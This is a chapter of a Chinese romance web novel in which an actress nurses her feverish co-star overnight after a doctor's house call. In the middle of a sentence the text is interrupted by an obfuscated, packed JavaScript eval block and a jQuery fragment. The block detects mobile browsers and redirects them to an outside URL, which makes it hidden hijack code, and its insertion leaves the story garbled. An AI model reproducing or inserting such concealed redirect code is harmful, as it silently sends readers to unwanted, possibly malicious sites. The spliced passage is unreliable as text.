25. 降落羽田(3)
作品:《与顶流前辈的营业同居手册》 又换了两轮冰毛巾后,门铃终于响起,声音清晰而急促。
星野立刻跑去门口,门外站着两位女性。为首的是一位年纪稍长、约莫五十岁上下、戴着无框眼镜的女医生,她的眼神锐利而冷静,透着一种让人安心的专业感,乌黑的头发在脑后挽成一个利落的发髻。她身后是一位看起来干练沉稳的年轻女护士,提着一个看起来相当沉重的银色出诊箱。
“晚上好,打扰了。我是松本医生,受中村先生委托前来。”女医生的声音和她的眼神一样,平稳而具有穿透力,她快速扫了一眼星野,目光便越过她,精准地投向了客厅沙发上的林光。
“请进!医生,拜托您了!”星野赶紧侧身让她们进来。
两人动作利落地换上自带的拖鞋,快步走到沙发旁。医生放下自己的公文包,护士则已经无声而高效地打开了那个银色的大箱子,里面整齐地陈列着各种药品、器械,以及一台小巧便携、屏幕亮着幽蓝光芒的多功能监护仪,在星野紧张又好奇的眼神当中开始了现场消毒与布置。
女医生俯身,轻声呼唤:“井上小姐?能听到我吗?”同时,她用手电筒快速而专业地检查了林光的瞳孔对光反射。
林光毫无反应,只有睫毛在强光下微微颤动。
医生对护士点了点头,没有多余言语。护士立刻上前将一个发出柔和红光的血氧饱和度探头轻轻夹在林光的手指上,用电子血压计袖带熟练地绑在她的上臂,轻轻解开林光运动背心的肩带一角,在她的胸口贴上了几个白色贴片。下一秒监护仪的屏幕上,一堆红蓝交替的数字立刻跳了出来。
医生一边看着监护仪上跳出的惊人体温数字,一边眉头紧锁。她快速检查了林光的咽喉,并用听诊器听了听她的呼吸音。血氧数值和清晰的呼吸音带来了些许好消息。她转向焦急的星野,语气沉稳地询问:“星野小姐,请告诉我,井上小姐最近是否有过度劳累、着凉或者接触过生病的人?比如,我听说你们刚从北海道回来?”
星野像是被点醒一样,立刻回答:“是的,医生!我们今天早上才从北海道回来,那边还在下雪,非常冷。今天白天工作行程很满,下午她又去乐队排练了……晚上回来的时候便已经烧得厉害。”她顿了顿,补充道:“而且……我之前喂她吃了退烧药,但是好像没什么效果。”
“急剧的温差和疲劳导致免疫力急剧下降,是急性上呼吸道感染的典型诱因。”医生听完,点了点头,“高烧和脱水状态下,口服药物吸收会很差。现在我们需要用更直接的方式让她快速降温。”
她转向护士,语气果断:“准备一支双氯芬酸钠肌内注射。”
“是。”护士利落地从恒温药盒里取出预充式注射器、酒精棉片和无菌棉签。
看到针剂,星野的心揪了一下,但更多的是看到明确希望的急切。
护士的动作稳定而快速,进针、推药、拔针、用干棉签按压,整个过程不过两三秒,专业且利落。
注射完毕后,女医生从药箱里取出两包口服补液盐散,交给星野:“星野小姐,麻烦您用温水冲开这个。等药效起来,她开始出汗并且意识稍微清醒时,想办法让她小口小口喝下去,补充水分和电解质比单纯喝水要更加有效。”
在接下来的十几分钟里,女医生和护士并没有离开,而是协助星野,一起用温水为林光擦拭身体,进行物理辅助降温。期间,女医生一直关注着监护仪上的数据变化。
大约十五分钟后,强效注射剂的效果开始显现。监护仪上的体温数字终于出现了下降的趋势,从39.7°C降到了39.0°C,林光的额头和颈间开始渗出细密的汗珠,原本紧蹙的眉头也渐渐舒展开,呼吸变得平稳悠长。
女医生仔细观察后,稍稍松了口气:“体温开始降了,这是好现象。”她写下处方,并留下自己的名片:“这是处方,上面有抗生素和后续的口服退烧药,明天请务必去药店取来。今晚需要有人持续看护,物理降温和补充水分不能停。如果后半夜体温再次反弹超过39.5度,或者出现任何让你担心的新症状,随时打我电话。明早我会再来复诊一次。”
送走两位专业而冷静的女性,星野关上门,回到客厅。她看着监护仪上稳定下来的数字,听着林光变得均匀的呼吸声,一直紧绷到极致的神经终于松弛下来。
她重新拧了一把温毛巾,小心翼翼地擦去林光额上的汗水,指尖传来的不再是骇人的高温。
她轻轻握住林光搭在外侧的那只手,低声说,语气里充满了疲惫后的宽慰:
“没事了……医生来过了。你会好起来的。”
在林光的后腰上补了两张退热贴,星野拿了个靠枕放在客厅的地毯上准备将就着休息一会,仪器的嘟嘟声有些催眠,有了它,自己这个夜晚也不再需要提心吊胆。星野定好了一个小时一响的几个闹钟后便准备合眼,明天十点还有电视剧的剧本围读,若是再不小睡一会,怕是下一个倒下的会是自己。
第一次闹钟响起,尖锐的铃声划破寂静,星野几乎是弹坐起来,意识还没完全回笼,身体已经先一步动作。她先是看了一眼监护仪——38.7°C。体温降的不多,但比之前好了太多。
她立刻去浴室打来温水,浸湿毛巾。当她小心翼翼地掀开林光身上已经变温的退热贴,准备换上用冷毛巾擦拭时,手下的人似乎颤动了一下。
星野动作一顿,屏息看去。林光的睫毛剧烈地颤抖着,仿佛挣扎着想睁开,却最终只是无力地掀开一条极细的缝隙,露出其下茫然失焦的瞳孔。她的喉咙里发出一点极其含糊的、介于呻吟和呓语之间的气音,随即又像是耗尽了所有力气,眼皮沉重地合上,眉头因为不适而重新蹙起。
但这一次,不是无意识的。星野能感觉到,在她用温热的毛巾擦拭对方汗湿的脖颈时,林光的身体有极其微弱的、向清凉触感靠近的本能反应。
虽然只是一瞬,但星野的心脏却像是被什么东西轻轻撞了一下。她知道,她正在从无边的黑暗中挣扎着回来。
第二次闹钟响,这一次,星野的动作更轻,也更熟练。监护仪显示38.9°C,不降反增的数字让星野心里一慌,责备自己或许应该早一点醒来。
当她用毛巾擦拭林光的手臂时,那只手臂的肌肉似乎微微绷紧了一瞬,又缓缓放松。星野注意到,林光的眼睛是睁着的——虽然只睁开了一半,眼神涣散而迷茫,仿佛无法对焦,只是茫然地望着天花板上的某一点,对于星野的动作和存在似乎有所感知,却又无法做出清晰的回应。
“喝水吗?”星野试探着,将吸管凑到她唇边。
林光的嘴唇下意识地吮吸了一下,咽了几小口温热的电解质盐水,表情痛苦。然后像是完成了一项艰巨的任务,轻微地摇了摇头,闭上眼睛,偏过头去。
星野的心头一松,几乎要落下泪来。她替她擦去嘴角的水渍,抚摸着她的额头轻声说:“好,不喝了。睡吧。”
第三次闹钟响前,天光微亮,星野其实已经醒了,或者说根本没怎么睡踏实。她正看着窗外泛起的青灰色晨光发呆,忽然听到身边传来一阵极其细微的、试图挪动身体的窸窣声。
她立刻转头。只见林光正非常缓慢地、尝试着想侧过身,脸上带着明显不适的表情,似乎是被汗湿的睡衣和沙发垫弄得极不舒服。
“先别动。”星野连忙起身,按住她的肩膀,“是不是很难受?我帮你擦一下,换件衣服?”
林光闻声,涣散的目光终于缓缓聚焦,落在了星野写满疲惫和担忧的脸上。她看了她好几秒,眼神里先是闪过一丝困惑,似乎在辨认眼前的人和环境,随即,昨夜一些零碎的记忆片段可能开始回笼——冰冷的毛巾、温柔的声音、身体的触碰……
她的嘴唇动了动,发出的声音干涩沙哑得几乎难以辨认:“……星野……?”
这两个字,像耗尽了她所有的力气,却也像一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466147|184388||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
颗投入星野心湖的石子,激起了巨大的涟漪。
“是我。”星野赶紧凑近她,声音里带着难以抑制的欣喜和激动,“你醒了?感觉怎么样?还冷吗?还是热?”
林光没有立刻回答,只是又闭了闭眼,极其轻微地摇了摇头,不知道是回答“不冷”还是“不热”,或者只是表示“说不清”。然后她再次看向星野,目光里带着一种劫后余生般的虚弱和清晰的歉意,用气声说道:
“……麻烦你了。”
一种沉重的、仿佛来自深海般的疲惫感,是林光恢复意识后的第一重感知。她的眼皮像被粘住一样,每一次试图睁开都需要耗费巨大的力气。视野先是模糊一片,只能感知到天花板柔和的灯光,以及旁边一个……发出规律滴滴声的仪器屏幕。
紧接着,是痛觉。虽然那股灼烧般的酷热已经褪去,但取而代之的是一种仿佛全身骨头都被抽走的极度虚弱。她试图撑起身子,一阵头晕目眩立刻袭来,迫使她重新跌回枕头上。
然后,是触觉。
额头上贴着冰凉湿润的东西,身上盖着的被子干燥而柔软,与记忆中断片前那身黏腻不堪的睡衣截然不同。身上宽松的T恤好像不是自己的尺码,却给了她别样的安心感。
最后,是听觉。
身边传来极其轻微的、压抑着的呼吸声,不是她自己的。还有纸张翻动的细碎声响,以及……极轻的、化妆品盖子开合的咔哒声。
她艰难地、缓缓地转过头颅这个简单的动作让她感到一阵眩晕和肌肉的抗议。
视线逐渐聚焦。
她看到了星野。
星野背对着她,坐在梳妆台前。她已经换上了一身利落的出门装束,正微微前倾着身体,对着镜子,非常快速地、几乎是争分夺秒地在化妆。她的动作带着一种明显的匆忙,却又极力控制着不发出太大声音。
林光的目光落在星野的侧影上。即使从背后,她也能看到星野眼底那无法被粉底完全遮盖的浓重青黑,以及她眉宇间强撑着的、挥之不去的疲惫。她面前的台子上,放着摊开的剧本,上面似乎还有密密麻麻的笔记。
她的喉咙干涩发紧,想开口说点什么,道谢,或者道歉,却发现自己沙哑得几乎发不出声音。
而眼前的星野似乎透过镜子的反射,注意到了她转头的动作。
星野的动作猛地一顿,立刻转过身来。她的脸上瞬间切换出关切的神情,将所有的匆忙和疲惫都努力掩藏下去,快步走到沙发边蹲下。
“醒了?”她的声音放得很轻,带着一丝刻意营造的轻松,“感觉好点了吗?刘川已经在路上了,很快就到。我得先去一下工作……”她说着,眼神里却流露出一丝无法掩饰的愧疚和不放心。
林光望着她,望着她为了掩盖疲惫而略浓的妆容,望着她眼底深处的血丝,千言万语堵在喉咙口,最终只化作一个极其轻微的动作——她艰难地、几乎是耗尽了力气地,点了一下头。
她用目光传递着“我明白了”和“你快去吧”的信息。
然后,她极其缓慢地、尝试着抬起仿佛有千斤重的手臂。动作因为虚弱而颤抖,但她还是努力将手伸向了星野,非常轻地、用指尖碰了碰星野放在床边的手背。
这是一个无力的、短暂的触碰。
却包含了所有无法用言语表达的感激、歉意和理解。
“路上……”她终于挤出一点破碎的气音,“路上……注意安全。”
星野愣住了,看着林光苍白虚弱却写满认真的脸,感受着手背上那转瞬即逝的、微凉的触碰,鼻子猛地一酸。她用力地点点头,露出一个让她安心的笑容:“嗯,我知道,你好好休息!”
她站起身,最后深深看了林光一眼,像是要将她的状态刻在心里,然后毅然转身,拿起包和剧本,快步离开了公寓。
门轻轻合上。
房间里只剩下林光一个人,和窗外逐渐喧闹起来的城市晨光。